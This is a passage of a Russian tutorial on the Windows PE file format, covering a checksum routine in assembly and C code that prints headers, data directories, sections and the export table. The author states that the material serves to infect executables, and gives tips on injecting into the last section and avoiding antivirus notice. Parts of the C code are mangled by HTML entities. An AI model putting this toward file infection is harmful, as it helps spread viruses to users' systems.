  119.         pop   ebp
  120.         ret   0010h
  121. func0:
  122.         push    esi
  123.         mov     ecx, dword ptr [esp+10h]
  124.         mov     esi, dword ptr [esp+0Ch]
  125.         mov     eax, dword ptr [esp+08h]
  126.         shl     ecx, 1
  127.         je      func0_saltito0
  128.         test    esi, 00000002
  129.         je      func0_saltito1
  130.         sub     edx, edx
  131.         mov     dx, word ptr [esi]
  132.         add     eax, edx
  133.         adc     eax, 00000000
  134.         add     esi, 00000002
  135.         sub     ecx, 00000002
  136.  
  137. func0_saltito1:
  138.         mov     edx, ecx
  139.         and     edx, 00000007
  140.         sub     ecx, edx
  141.         je      func0_saltito2
  142.         test    ecx, 00000008
  143.         je      func0_saltito3
  144.         add     eax, dword ptr [esi]
  145.         adc     eax, dword ptr [esi+04h]
  146.         adc     eax, 00000000
  147.         add     esi, 00000008
  148.         sub     ecx, 00000008
  149.         je      func0_saltito2
  150.  
  151. func0_saltito3:
  152.         test    ecx, 00000010h
  153.         je      func0_saltito4
  154.         add     eax, dword ptr [esi]
  155.         adc     eax, dword ptr [esi+04h]
  156.         adc     eax, dword ptr [esi+08h]
  157.         adc     eax, 00000000h
  158.         add     esi, 00000010h
  159.         sub     ecx, 00000010h
  160.         je      func0_saltito2
  161.  
  162. func0_saltito4:
  163.         test    ecx, 00000020h
  164.         je      func0_saltito5
  165.         add     eax, dword ptr [esi]
  166.  
  167.         adc     eax, dword ptr [esi+04h]
  168.         adc     eax, dword ptr [esi+08h]
  169.         adc     eax, dword ptr [esi+0Ch]
  170.         adc     eax, dword ptr [esi+10h]
  171.         adc     eax, dword ptr [esi+14h]
  172.         adc     eax, dword ptr [esi+18h]
  173.         adc     eax, dword ptr [esi+1Ch]
  174.         adc     eax, 00000000h
  175.         add     esi, 00000020h
  176.         sub     ecx, 00000020h
  177.         je      func0_saltito2
  178.  
  179. func0_saltito5:
  180.         test    ecx, 00000040h
  181.         je      func0_saltito6
  182.         add     eax, dword ptr [esi]
  183.  
  184.         adc     eax, dword ptr [esi+04h]
  185.         adc     eax, dword ptr [esi+08h]
  186.         adc     eax, dword ptr [esi+0Ch]
  187.         adc     eax, dword ptr [esi+10h]
  188.         adc     eax, dword ptr [esi+14h]
  189.         adc     eax, dword ptr [esi+18h]
  190.         adc     eax, dword ptr [esi+1Ch]
  191.         adc     eax, dword ptr [esi+20h]
  192.         adc     eax, dword ptr [esi+24h]
  193.         adc     eax, dword ptr [esi+28h]
  194.         adc     eax, dword ptr [esi+2Ch]
  195.         adc     eax, dword ptr [esi+30h]
  196.         adc     eax, dword ptr [esi+34h]
  197.         adc     eax, dword ptr [esi+38h]
  198.         adc     eax, dword ptr [esi+3Ch]
  199.         adc     eax, 00000000h
  200.         add     esi, 00000040h
  201.         sub     ecx, 00000040h
  202.         je      func0_saltito2
  203.  
  204. func0_saltito6:
  205.         add     eax, dword ptr [esi]
  206.  
  207.         adc     eax, dword ptr [esi+04h]
  208.         adc     eax, dword ptr [esi+08h]
  209.         adc     eax, dword ptr [esi+0Ch]
  210.         adc     eax, dword ptr [esi+10h]
  211.         adc     eax, dword ptr [esi+14h]
  212.         adc     eax, dword ptr [esi+18h]
  213.         adc     eax, dword ptr [esi+1Ch]
  214.         adc     eax, dword ptr [esi+20h]
  215.         adc     eax, dword ptr [esi+24h]
  216.         adc     eax, dword ptr [esi+28h]
  217.         adc     eax, dword ptr [esi+2Ch]
  218.         adc     eax, dword ptr [esi+30h]
  219.         adc     eax, dword ptr [esi+34h]
  220.         adc     eax, dword ptr [esi+38h]
  221.         adc     eax, dword ptr [esi+3Ch]
  222.         adc     eax, dword ptr [esi+40h]
  223.         adc     eax, dword ptr [esi+44h]
  224.         adc     eax, dword ptr [esi+48h]
  225.         adc     eax, dword ptr [esi+4Ch]
  226.         adc     eax, dword ptr [esi+50h]
  227.         adc     eax, dword ptr [esi+54h]
  228.         adc     eax, dword ptr [esi+58h]
  229.         adc     eax, dword ptr [esi+5Ch]
  230.         adc     eax, dword ptr [esi+60h]
  231.         adc     eax, dword ptr [esi+64h]
  232.         adc     eax, dword ptr [esi+68h]
  233.         adc     eax, dword ptr [esi+6Ch]
  234.         adc     eax, dword ptr [esi+70h]
  235.         adc     eax, dword ptr [esi+74h]
  236.         adc     eax, dword ptr [esi+78h]
  237.         adc     eax, dword ptr [esi+7Ch]
  238.         adc     eax, 00000000h
  239.         add     esi, 00000080h
  240.         sub     ecx, 00000080h
  241.         jne     func0_saltito6
  242.  
  243. func0_saltito2:
  244.         test    edx, edx
  245.         je      func0_saltito0
  246.  
  247. func0_saltito7:
  248.         sub     ecx, ecx
  249.         mov     cx, word ptr [esi]
  250.         add     eax, ecx
  251.         adc     eax, 00000000h
  252.         add     esi, 00000002h
  253.         sub     edx, 00000002h
  254.         jne     func0_saltito7
  255.  
  256. func0_saltito0:
  257.         mov     edx, eax
  258.         shr     edx, 10h
  259.         and     eax, 0000FFFFh
  260.         add     eax, edx
  261.         mov     edx, eax
  262.         shr     edx, 10h
  263.         add     eax, edx
  264.         and     eax, 0000FFFFh
  265.         pop     esi
  266.         ret     000Ch
  267. end start

WORD    Subsystem;

Подсистема, для пользовательского интерфейса, данного приложения. Определены следующие значения:

Код (Text):
  1.  
  2. #define IMAGE_SUBSYSTEM_UNKNOWN              0   // неизвестная подсистема
  3. #define IMAGE_SUBSYSTEM_NATIVE               1   // приложению не требуется подсистема
  4. #define IMAGE_SUBSYSTEM_WINDOWS_GUI          2   // запускается в подсистеме Windows GUI
  5. #define IMAGE_SUBSYSTEM_WINDOWS_CUI          3   // запускается в подсистеме Windows character
  6. #define IMAGE_SUBSYSTEM_OS2_CUI              5   // запускается в подсистеме OS/2 character
  7. #define IMAGE_SUBSYSTEM_POSIX_CUI            7  // запускается в подсистеме Posix character
  8. #define IMAGE_SUBSYSTEM_NATIVE_WINDOWS       8   // приложение - драйвер Windows 9x
  9. #define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI       9   // запускается в подсистеме Windows CE

Подсистема может быть только одна. Если подсистема CUI, то Windowsсоздает консольное окно при старте программы. Когда мы будет заражать файлы, то будем выбирать только с подсистемами IMAGE_SUBSYSTEM_WINDOWS_GUI и IMAGE_SUBSYSTEM_WINDOWS_CUI

WORD    DllCharacteristics;

Поле никогда не используется. Может быть любым.

DWORD   SizeOfStackReserve;

Объем виртуальной памяти, резервируемой под начальный стек потока. Выделяется число байт указанное в следующем поле.

DWORD   SizeOfStackCommit;

Объем виртуальной памяти, выделяемой под начальный стек потока.

DWORD   SizeOfHeapReserve;

Объем виртуальной памяти, резервируемой под начальный хип программы.

DWORD   SizeOfHeapCommit;

Объем виртуальной памяти, выделяемой под начальный хип программы.

DWORD   LoaderFlags;

Не используемое поле. Может быть любым.

DWORD   NumberOfRvaAndSizes;

Количество элементов в массиве DataDirectory. Во всем относительно новых линкерах устанавливается в 10H. ДажеконстантаIMAGE_NUMBEROF_DIRECTORY_ENTRIES вWINNT.H определенакак 10H. Так что размер опционального заголовка, скорее всего, будет E0Hбайт.

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

Массив структур типа IMAGE_DATA_DIRECTORY. Это структура определена следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_DATA_DIRECTORY {
  3.     DWORD   VirtualAddress; //RVA директории
  4.     DWORD   Size;//Размер директории
  5. } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;</code></pre>
  6.  
  7. <p>Вообще каждый
  8. элемент массива указывает на какую-либо структуру, например на таблицу импорта.
  9. Т.е. каждый элемент это информация о директории, каждая из которых несет собой
  10. определенную смысловую нагрузку. Определенный индекс в массиве соответствует
  11. определенной директории. Директория может быть секцией, а может и не быть
  12. секцией, т.е. быть ее частью. Если нам надо найти, например таблицу экспорта,
  13. то обращаемся к элементу 0 этого массива. Вот полный перечень всех индексов:</p>
  14. <p><code><pre>
  15. #define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Директория экспорта
  16. #define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Директория импорта
  17. #define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Директория ресурсов
  18. #define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Директория исключений
  19. #define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Директория безопасности
  20. #define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   //Таблица базовых поправок
  21. #define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Отладочная директория
  22. #define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   //Данные специфичные для архитектуры
  23. #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA глобальных указателей
  24. #define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS директория
  25. #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Директория конфигурации при загрузке
  26. #define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Директория Bound-импорта
  27. #define IMAGE_DIRECTORY_ENTRY_IAT            12   // Таблица импортированных адресов (IAT)
  28. #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   //Дескриптор delay-импорта
  29. #define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime дескриптор

Структура IMAGE_DATA_DIRECTORY содержит в себе RVAдиректории. Если файл спроецирован не как SEC_IMAGE, то сразу найти смещение в файле данной директории не удастся. Для этой операции используйте функцию RVAtoOffset листинг которой приведен выше.

Код (Text):
  1.  
  2. void printHeaders(long hMap)
  3. {
  4. PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE((long)hMap);
  5. printf("#####File Header#####\n");
  6. printf("Machine:%X\nNumber of Sections:%X\nTimeDateStamp:%X\nPointer to
  7.         Symbol Table:%X\nNumber Of Symbols:%X\nSize Of Optional Header:
  8.         %X\nCharacteristics:%X\n",pPE-&raquo;FileHeader.Machine,
  9.         pPE-&raquo;FileHeader.NumberOfSections,pPE-&raquo;FileHeader.TimeDateStamp,
  10.         pPE-&raquo;FileHeader.PointerToSymbolTable,pPE-&raquo;FileHeader.NumberOfSymbols,
  11.         pPE-&raquo;FileHeader.SizeOfOptionalHeader);
  12. printf("#####Optional Header#####\n");
  13. printf("Magic:%X\nMajorLinkerVersion:%X\nMinorLinkerVersion:%X\nSizeOfCode:
  14.         %X\nSizeOfInitializedData:%X\nSizeOfUninitializedData:
  15.         %X\nAddressOfEntryPoint:%X\nBaseOfCode:%X\nBaseOfData:%X\nImageBase:
  16.         %X\nSectionAlignment:%X\nFileAlignment:%X\nMajorOperatingSystemVersion:
  17.         %X\nMinorOperatingSystemVersion:%X\nMajorImageVersion:%X\nMinorImageVersion:
  18.         %X\nMajorSubsystemVersion:%X\nMinorSubsystemVersion:%X\nWin32VersionValue:
  19.         %X\nSizeOfImage:%X\nSizeOfHeaders:%X\nCheckSum:%X\nSubsystem:
  20.         %X\nDllCharacteristics:%X\nSizeOfStackReserve:%X\nSizeOfStackCommit:
  21.         %X\nSizeOfHeapReserve:%X\nSizeOfHeapCommit:%X\nLoaderFlags:
  22.         %X\nNumberOfRvaAndSizes:%X\n",
  23.     pPE-&raquo;OptionalHeader.Magic,pPE-&raquo;OptionalHeader.MajorLinkerVersion,
  24.     pPE-&raquo;OptionalHeader.MinorLinkerVersion,pPE-&raquo;OptionalHeader.SizeOfCode,
  25.     pPE-&raquo;OptionalHeader.SizeOfInitializedData,
  26.     pPE-&raquo;OptionalHeader.SizeOfUninitializedData,
  27.     pPE-&raquo;OptionalHeader.AddressOfEntryPoint,pPE-&raquo;OptionalHeader.BaseOfCode,
  28.     pPE-&raquo;OptionalHeader.BaseOfData,pPE-&raquo;OptionalHeader.ImageBase,
  29.     pPE-&raquo;OptionalHeader.SectionAlignment,pPE-&raquo;OptionalHeader.FileAlignment,
  30.     pPE-&raquo;OptionalHeader.MajorOperatingSystemVersion,
  31.     pPE-&raquo;OptionalHeader.MinorOperatingSystemVersion,
  32.     pPE-&raquo;OptionalHeader.MajorImageVersion,pPE-&raquo;OptionalHeader.MinorImageVersion,
  33.     pPE-&raquo;OptionalHeader.MajorSubsystemVersion,
  34.     pPE-&raquo;OptionalHeader.MinorSubsystemVersion,
  35.     pPE-&raquo;OptionalHeader.Win32VersionValue,pPE-&raquo;OptionalHeader.SizeOfImage,
  36.     pPE-&raquo;OptionalHeader.SizeOfHeaders,pPE-&raquo;OptionalHeader.CheckSum,
  37.     pPE-&raquo;OptionalHeader.Subsystem,pPE-&raquo;OptionalHeader.DllCharacteristics,
  38.     pPE-&raquo;OptionalHeader.SizeOfStackReserve,pPE-&raquo;OptionalHeader.SizeOfStackCommit,
  39.     pPE-&raquo;OptionalHeader.SizeOfHeapReserve,pPE-&raquo;OptionalHeader.SizeOfHeapCommit,
  40.     pPE-&raquo;OptionalHeader.LoaderFlags,pPE-&raquo;OptionalHeader.NumberOfRvaAndSizes);
  41. }

Работа с таблицей директорий

Код (Text):
  1.  
  2. void printDataDirectory(long hMap)
  3. {  
  4. PIMAGE_NT_HEADERS pPE=static_cast&laquo;struct _IMAGE_NT_HEADERS *&raquo;NTSIGNATURE((long)hMap);
  5.     PIMAGE_DATA_DIRECTORY DataDirectory=(PIMAGE_DATA_DIRECTORY)&(pPE-&raquo;OptionalHeader.DataDirectory);
  6.     for (int i=0;i&laquo;pPE-&raquo;OptionalHeader.NumberOfRvaAndSizes;i++)
  7.     {
  8.          switch (i)
  9.          {
  10.            case IMAGE_DIRECTORY_ENTRY_EXPORT:printf("---Export Directory---\nRVA:
  11.                 %X\nSize: %X\n",DataDirectory[i].VirtualAddress,
  12.                 DataDirectory[i].Size);break;
  13.            case IMAGE_DIRECTORY_ENTRY_IMPORT:printf("---Import Directory---\nRVA:
  14.                 %X\nSize: %X\n",DataDirectory[i].VirtualAddress,
  15.                 DataDirectory[i].Size);break;
  16.            case IMAGE_DIRECTORY_ENTRY_RESOURCE:
  17.                 printf("---Resource Directory---\nRVA: %X\nSize: %X\n",
  18.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  19.            case IMAGE_DIRECTORY_ENTRY_EXCEPTION:
  20.                 printf("---Exception Directory---\nRVA: %X\nSize: %X\n",
  21.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  22.            case IMAGE_DIRECTORY_ENTRY_SECURITY:
  23.                 printf("---Security Directory---\nRVA: %X\nSize: %X\n",
  24.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  25.            case IMAGE_DIRECTORY_ENTRY_BASERELOC:
  26.                 printf("---Basereloc Directory---\nRVA: %X\nSize: %X\n",
  27.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  28.            case IMAGE_DIRECTORY_ENTRY_DEBUG:
  29.                 printf("---Debug Directory---\nRVA: %X\nSize: %X\n",
  30.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  31.            case IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:
  32.                 printf("---Architecture Directory---\nRVA: %X\nSize: %X\n",
  33.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  34.            case IMAGE_DIRECTORY_ENTRY_GLOBALPTR:
  35.                 printf("---GlobalPTR Directory---\nRVA: %X\nSize: %X\n",
  36.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  37.            case IMAGE_DIRECTORY_ENTRY_TLS:
  38.                 printf("---TLS Directory---\nRVA: %X\n%Size: %X\n",
  39.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  40.            case IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG:
  41.                 printf("---LOADCONFIG Directory---\nRVA: %X\nSize: %X\n",
  42.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  43.            case IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT:
  44.                 printf("---Bound-Import Directory---\nRVA: %X\nSize: %X\n",
  45.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  46.            case IMAGE_DIRECTORY_ENTRY_IAT:
  47.                 printf("---IAT Directory---\nRVA: %X\nSize: %X\n",
  48.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  49.            case IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:
  50.                 printf("---Delay-Import Directory---\nRVA: %X\nSize: %X\n",
  51.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  52.            case IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR:
  53.                 printf("---Com Descriptor Directory---\nRVA: %X\nSize: %X\n",
  54.                 DataDirectory[i].VirtualAddress,DataDirectory[i].Size);break;
  55.          }
  56.     }
  57. }

Таблица секций

Таблица секций – это база данных, для всех секций используемых в PE-файле. Сразу после окончания опционального заголовка следует таблица секций. В PE-файле теоретически может быть сколько угодно секций. Все они могут иметь одинаковые атрибуты и даже одинаковые имена(!), кроме секции ресурсов :smile3:. Но обычно секции делят либо по их логическому предназначению, либо по атрибутам. Имена секций вообще никого не волнуют и нигде не проверяются (почти). Загрузчик ориентируется на массив DataDirectory в опциональном заголовке, для того чтобы найти нужные данные. Это сделано в целях оптимизации, чтобы не сравнивать строки,  а просто перейти сразу же к нужной директории с помощью соответствующих индексов. Но некоторые особо «талантливые» программисты все равно используют имя секции, так что будьте с этим аккуратнее. В приложениях WindowsNTмогут использоваться много стандартных секций - .text(.CODE) – код программы, .bss– для неинициализированных данных, .rdata– данные только для чтения, .data – глобальные переменные, .rsrc– ресурсы, .edata – экспорт, .idata– импорт, .debug– отладочная информация и т.д. Такие секции создают линкеры, опираясь на спецификацию Microsoft. Таблица секций это массив элементов типа IMAGE_SECTION_HEADER. Этот тип определен следующим образом:

Код (Text):
  1.  
  2. typedef struct _IMAGE_SECTION_HEADER {
  3.     BYTE    Name[8];
  4.     union {
  5.             DWORD   PhysicalAddress;
  6.             DWORD   VirtualSize;
  7.     } Misc;
  8.  
  9.     DWORD   VirtualAddress;
  10.     DWORD   SizeOfRawData;
  11.     DWORD   PointerToRawData;
  12.     DWORD   PointerToRelocations;
  13.     DWORD   PointerToLinenumbers;
  14.     WORD    NumberOfRelocations;
  15.     WORD    NumberOfLinenumbers;
  16.     DWORD   Characteristics;
  17. } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Опишем по порядку эти поля:

BYTE    Name[8];

Название секции.

Код (Text):
  1.  
  2. union {
  3.             DWORD   PhysicalAddress;
  4.             DWORD   VirtualSize;
  5.     } Misc;

Для EXE-файлов содержит виртуальный размер секции. Т.е. это размер, выровненный на SectionAlignment. Если это значение равно нулю, то загрузчик использует значение SizeOfRawDataвыровненное на SectionAlignment. Если это значение не выровнено, т.к. загрузчик может выровнять его сам в случае необходимости. Если это значение больше SizeOfRawData, то в памяти секция выравнивается нулями. Если это значение меньше SizeOfRawData, то…здесь начинаются расхождения реализации загрузчиков, так что на это лучше не полагаться. Для объектных файлов это поле указывает физический адрес секции.

DWORD   VirtualAddress;

Это поле содержит адрес, куда загрузчик должен отобразить секцию. Это поле является RVA.

DWORD   SizeOfRawData;

Это поле содержит размер секции, выровненный на ближайшую верхнюю границу размера файла.

DWORD   PointerToRawData;

Это значение, есть файловое смещение, откуда брать исходные данные для секции при отображении.

DWORD   PointerToRelocations;

Не используется в исполняемых файлах. Может быть любым.

DWORD   PointerToLinenumbers;

Файловое смещение таблицы номеров строк. В данный момент не используется в исполняемых файлах. Может любое значение.

WORD    NumberOfRelocations;

Количество перемещений в таблице базовых поправок для данной секции. Т.к. значение указателя на таблицу базовых поправок храниться в массиве DataDirectory, то это поле тоже может быть любым.

WORD    NumberOfLinenumbers;

Количество номеров строк для данной секции. Т.к. поле PointerToLinenumbersне используется, то может принимать любые значения.

DWORD   Characteristics;

Это поле содержит атрибуты секции. Атрибуты секции указывают на права доступа к ней, а также на некоторые особенности влияния на нее загрузчика. Флаги секций могут преобразовываться загрузчиком в атрибуты страниц и сегментов. Это поле всегда не равно нулю. Ниже приведен полный список флагов, которые нужны, остальные используются только в объектных файлах, либо вообще не используются.

Код (Text):
  1.  
  2. // Секция содержит код
  3. #define IMAGE_SCN_CNT_CODE      0x00000020  
  4. //Секция содержит инициализированные данные
  5. #define IMAGE_SCN_CNT_INITIALIZED_DATA  0x00000040
  6. // Секция содержит неинициализированные данные.
  7. #define IMAGE_SCN_CNT_UNINITIALIZED_DATA     0x00000080  
  8. // Эта секция отбрасывается когда программа уже загружена.
  9. // Важно, при внедрении отбросить этот флаг если он установлен для данной секции.
  10. #define IMAGE_SCN_MEM_DISCARDABLE            0x02000000  
  11. // Секция является общедоступной или разделяемой.
  12. #define IMAGE_SCN_MEM_SHARED                 0x10000000  
  13. //Секция является исполняемой.
  14. #define IMAGE_SCN_MEM_EXECUTE                0x20000000  
  15. // Данные секции можно читать.
  16. #define IMAGE_SCN_MEM_READ                   0x40000000
  17. // В секцию можно записывать данные.  
  18. #define IMAGE_SCN_MEM_WRITE                  0x80000000

ФлагиIMAGE_SCN_MEM_EXECUTE иIMAGE_SCN_MEM_READ эквивалентны. Флаги могут быть использованы одновременно, если применять к ним побитовою операцию «или». Например, нам нужно чтобы в секцию можно было записывать, читать из нее, а также для пущей надежности указывает, что секция содержит код. Т.о. итоговой значение поля Characteristicsбудет выглядить следующим образом:

Код (Text):
  1.  
  2. 80000000H
  3. +
  4. 40000000H
  5. +
  6. 00000020H
  7. =
  8. A0000020H

Это значение мы будем использовать при внедрении в последнюю секцию, чтобы использовать переменные внутри нее и выполнять код. Мы указываем, что секция содержит код, т.к. антивирус может обращать на это внимание, если точка входа установлена на данную секцию.

Работа с таблицей секций

Данная процедура проходит по таблице секций и выводит ее на экран. На вход процедуре передается адрес по которому спроецирован PE-файл.

Код (Text):
  1.  
  2. void printSectionHeader(long hMap)
  3. {
  4.     PIMAGE_NT_HEADERS pPE=static_cast&laquo;
  5.                       struct _IMAGE_NT_HEADERS *&raquo;
  6.     NTSIGNATURE((long)hMap);
  7.     PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER)
  8.            (pPE-&raquo;FileHeader.SizeOfOptionalHeader+(long)
  9.            &amp;(pPE-&raquo;OptionalHeader) );
  10.     for (int i=0;i&laquo;pPE-&raquo;FileHeader.NumberOfSections;i++)
  11.     {
  12.  
  13.         printf("----------Section: %.8s----------\nVirtual Address:
  14.                %X\nVirtual Size: %X\nSizeOfRawData: %X\n PointerToRawData:
  15.                %X\nCharacteristics: %X\n",&amp;(Section-&raquo;Name),
  16.                Section-&raquo;VirtualAddress,Section-&raquo;Misc.VirtualSize,
  17.                Section-&raquo;SizeOfRawData,Section-&raquo;PointerToRawData,
  18.                Section-&raquo;Characteristics);
  19.         Section++;
  20.     }
  21. }

Вот вроде разобрались со всеми заголовками, теперь нужно рассмотреть важные директории. Они понадобятся в нашем деле.

Таблица Экспорта

Экспорт – механизм PE-файлов, предоставляющий доступ к переменным или функциям из другого исполняемого модуля. Обычно EXE-файлы ничего не экспортируют. А DLLобычно экспортируют функции. Таблица секций может быть отдельной секцией, которая называется .edata. Но обычно таблицу секций ищут исходя из каталога данных. Она имеет индекс 0 в массиве DataDirectory. В таблице экспорта содержится массив, в котором находятся адреса функций. Ординал – это индекс в этом массиве адресов функций. Функции могут экcпортироваться либо по имени, либо по ординалу. Если функция экспортируется по ординалу, то загрузчик почти ничего не делает, а просто обращается сразу к таблице адресов функций. Но обычно функции экспортируются по именам. Чтобы экспортировать функции по именам, необходимо произвести некоторые действия. Какие, узнаете чуть ниже.

В начале таблицы экспорта расположена структура IMAGE_EXPORT_DIRECTORY. После этой структуры должны идти данные, на которые указывают элементы этой структуры. Но практически данные могут быть расположены где угодно. Вот вид структуры IMAGE_EXPORT_DIRECTORY:

Код (Text):
  1.  
  2. typedef struct _IMAGE_EXPORT_DIRECTORY {
  3.     DWORD   Characteristics;
  4.     DWORD   TimeDateStamp;
  5.     WORD    MajorVersion;
  6.     WORD    MinorVersion;
  7.     DWORD   Name;
  8.     DWORD   Base;
  9.     DWORD   NumberOfFunctions;
  10.     DWORD   NumberOfNames;
  11.     DWORD   AddressOfFunctions;     // RVA from base of image
  12.     DWORD   AddressOfNames;         // RVA from base of image
  13.     DWORD   AddressOfNameOrdinals;  // RVA from base of image
  14. } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

DWORD Characteristics;

Это поле не используется. Может быть любым.

DWORD   TimeDateStamp;

Это поле содержит дату создания файла. Может быть любым.

WORD    MajorVersion; WORD    MinorVersion;

Поля не используются. Могут быть любыми.

DWORD   Name;

Это RVAASCIIZ-строки содержащей имя данного исполняемого модуля.

DWORD   Base;

Начальный номер экспорта, т.е. самый младший номер экспортируемой функции. Например, если номера экспортируемых функций 56B,57B,58B и больше экспортируемых функций нет, то это значение будет 56B.

DWORD  NumberOfFunctions;

Количество элементов в массиве AddressOfFunctions(об этом массиве позже). Это число экспортируемых данным модулем функций или переменных. Может быть равно, а может быть и не равно значению NumberOfNames, потому что функция может быть экспортирована только по ординалу.

DWORD   NumberOfNames;

Количество элементов в масcиве AddressOfNames. Также это число функций экспортируемых по именам.

DWORD   AddressOfFunctions;

RVA массиваадресовфункций. Адреса функций – это RVAточек входа каждой функции. Т.к. RVAв PE32 32-х разрядные, то это массив DWORD’ов.

DWORD   AddressOfNames;

Это поле является RVAи указывает на массив указателей на строки. Строки – ASCIIZ-строки, и являются именами экспортируемых функций по имени в данном модуле.

DWORD   AddressOfNameOrdinals; 

RVA массиваслов. Слова являются ординалами, т.е. индексами в массиве адресов функций. Но эти индексы являются относительными, т.к. из соответствующего индекса надо вычесть начальный номер экспорта.

Как происходит экспорт

Самое важное поле в таблице экспорта – это AddressOfFunctions, потому что оно и содержит адреса экспортируемых функций. Можно по разному экспортировать функции – по имени или по ординалу. Чтобы экспортировать функцию по ординалу достаточно использовать ординал, как индекс в массиве адресов функций, но, не забывая, о начальном номере экспорта. Чтобы экспортировать функцию по имени надо использовать информацию из двух дополнительных массивов, точнее указателей на них – AddressOfNameOrdinals и AddressOfNames. Массив AddressOfNamesсодержит RVAстрок с именами функций. Нам дано имя функции, надо найти это имя в данном массиве. Если мы нашли имя, то получаем индекс в массиве имен, которому соответствует данная строка. Используя этот индекс применительно к массиву AddressOfNameOrdinals, находим индекс в массиве AddressOfFunctios, но без учета начального номера экспорта или начального ординала. Полученное значение нормализуем и получаем нужный ординал, который и используем для получения адреса функции по данному имени. Посмотрите рисунок ниже, чтобы понять это объяснение:

Не забывайте, что имена функций могут быть представлены в двух версиях -  ANSIи UNICODE, если функция каким-либо образом обрабатывает строки. И имя функции различаться в зависимости от версии функции.  Для ANSIверсии в конце имени функции используется буква A, для UNICODE– W.

В таблице адресов функций могут быть разрывы, т.е. элементы, которые указывают в никуда. Т.е. если библиотека экспортирует функции с ординалами 5,8 и все, а начальный номер экспорта 5, то в массиве адресов функций будет 4 элемента. Первый нормальный, т.е. указывающий на функцию, два следующих пустые, 4-ый нормальный. Эти разрывы надо учитывать при разборе, а не обрабатывать все подряд.

Передача экспорта

Иногда в одной DLLсодержится только имя функции, а сам код содержится в другой DLL, но экспортируем мы функцию из первой DLL. Этот механизм называется передача экспорта. Например, возьмем библиотеку KERNEL32.DLL. Возьмем из нее функцию HeapAlloc, она в действительности вызывает функцию RtlAllocateHeapиз NTDLL.DLL.

Чтобы узнать, является ли функция переданной, нужно проверить не указывает ли адрес функции на таблицу экспорта данного файла (в данном случае KERNEL32.LL). Тогда этот «адрес функции» является RVA-строки вида имя_библиотеки.имя_функции (например NTDLL.RtlAllocateHeap). Для проверки является ли данная функция переданной, нужен адрес таблицы экспорта и ее размер. В примере ниже показано как определить что функция является переданной.

Работа с таблицей экспорта

Работая с таблицей экспорта будьте внимательны. Не забывайте, что можно экспортировать функцию как по имени и ординалу, как просто по ординалу. Не забывайте о переданных функциях. Существуют две важные операции при работе с таблицей экспорта:

a) Поиск адреса функции по имени. Алгоритм выглядит так:

  • 1) Найти индекс в массиве имен AddressOfNames, соответствующий нужному имени.
  • 2) Использовать этот индекс как индекс в массиве AddressOfNameOrdinalsи получить значение в массиве.
  • 3) Вычесть из полученного значения OrdinalBase.
  • 4) Использовать полученный индекс, чтобы получить RVAфункции в массиве AddressOfFuncions

Посмотрите на пример работы с директорией экспорта. Процедура выводит на экран таблицу экспорта. Параметром ей передается адрес спроецированного в память файла.

б) Поиск имени по ординалу

  • 1) Взять ординал и сложить его с OrdinalBase.
  • 2) Найти полученное значение в массиве AddressOfNameOrdinals.
  • 3) Если значение найдено, то используем индекс в массиве AddressOfNames, чтобы получить имя. Если значение не найдено, значит, функция экспортируется только по ординалу.

Код (Text):
  1.  
  2. void PrintExportTable(long hMap)
  3. {
  4.     PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)NTSIGNATURE(hMap);
  5.     short NumberOfSection=pPE-&raquo;FileHeader.NumberOfSections;
  6.     DWORD ExportRVA=pPE-&raquo;OptionalHeader.DataDirectory[0].VirtualAddress;
  7.  
  8.     PIMAGE_EXPORT_DIRECTORY Export=(PIMAGE_EXPORT_DIRECTORY)
  9.                           RVAtoOffset((long)hMap,ExportRVA);
  10.     Export=(PIMAGE_EXPORT_DIRECTORY)((long)Export+(long)hMap);
  11.  
  12.     WORD* AddressOfNameOrdinals=(unsigned short *)
  13.           RVAtoOffset((long)hMap,Export-&raquo;AddressOfNameOrdinals);
  14.     AddressOfNameOrdinals=(WORD*)((long)AddressOfNameOrdinals+(long)hMap);
  15.  
  16.     DWORD* AddressOfNames=(unsigned long *)
  17.            RVAtoOffset((long)hMap,Export-&raquo;AddressOfNames);
